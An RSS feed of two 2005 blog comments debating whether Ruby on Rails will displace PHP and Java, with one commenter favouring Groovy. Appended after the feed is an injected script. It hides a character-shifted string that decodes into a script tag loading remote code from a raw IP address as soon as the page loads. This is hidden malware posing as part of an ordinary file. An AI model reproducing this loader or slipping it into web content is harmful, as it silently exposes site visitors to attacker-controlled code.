<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Where are we going?</title>
	<atom:link href="http://blog.secosoft.net/2005/09/25/where-are-we-going/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2005/09/25/where-are-we-going/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Wed, 03 Dec 2008 23:33:27 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Stephen</title>
		<link>http://blog.secosoft.net/2005/09/25/where-are-we-going/#comment-628</link>
		<dc:creator>Stephen</dc:creator>
		<pubDate>Tue, 27 Sep 2005 05:31:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=54#comment-628</guid>
		<description>I hope Rails will kill off PHP as soon as possible. However, it has to overcome PHP's huge install base (especially mod_php being everywhere, but mod_fastcgi being, relatively, nowhere).

Granted, some people are always going to want the "simplicity" of spaghetti-code PHP.

But, against Java, my impression is that as a scripting language (technology- but more business-wise), Ruby is going to stay at the Perl/Python adoption level. Used by technies for pet projects, but not accepted for "important" projects by IT managers.

Qualification: unless a company like IBM/Sun/Microsoft gets behind Ruby and starts supporting/pushing it.</description>
		<content:encoded><![CDATA[<p>I hope Rails will kill off PHP as soon as possible. However, it has to overcome PHP&#8217;s huge install base (especially mod_php being everywhere, but mod_fastcgi being, relatively, nowhere).</p>
<p>Granted, some people are always going to want the &#8220;simplicity&#8221; of spaghetti-code PHP.</p>
<p>But, against Java, my impression is that as a scripting language (technology- but more business-wise), Ruby is going to stay at the Perl/Python adoption level. Used by technies for pet projects, but not accepted for &#8220;important&#8221; projects by IT managers.</p>
<p>Qualification: unless a company like IBM/Sun/Microsoft gets behind Ruby and starts supporting/pushing it.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff</title>
		<link>http://blog.secosoft.net/2005/09/25/where-are-we-going/#comment-627</link>
		<dc:creator>Jeff</dc:creator>
		<pubDate>Mon, 26 Sep 2005 12:49:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=54#comment-627</guid>
		<description>Java appealed to C programmers because Java alleviated some of the more complex aspects of C it had a nearly identical syntax.  In short, Java was easier than C but still C-like.

My money is on Groovy because it incorporates many of the positives of Ruby but maintains a Java-esque flavor.  Ruby, however, is definately the front-runner and it will be a challenge to overcome its momentum.</description>
		<content:encoded><![CDATA[<p>Java appealed to C programmers because Java alleviated some of the more complex aspects of C it had a nearly identical syntax.  In short, Java was easier than C but still C-like.</p>
<p>My money is on Groovy because it incorporates many of the positives of Ruby but maintains a Java-esque flavor.  Ruby, however, is definately the front-runner and it will be a challenge to overcome its momentum.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

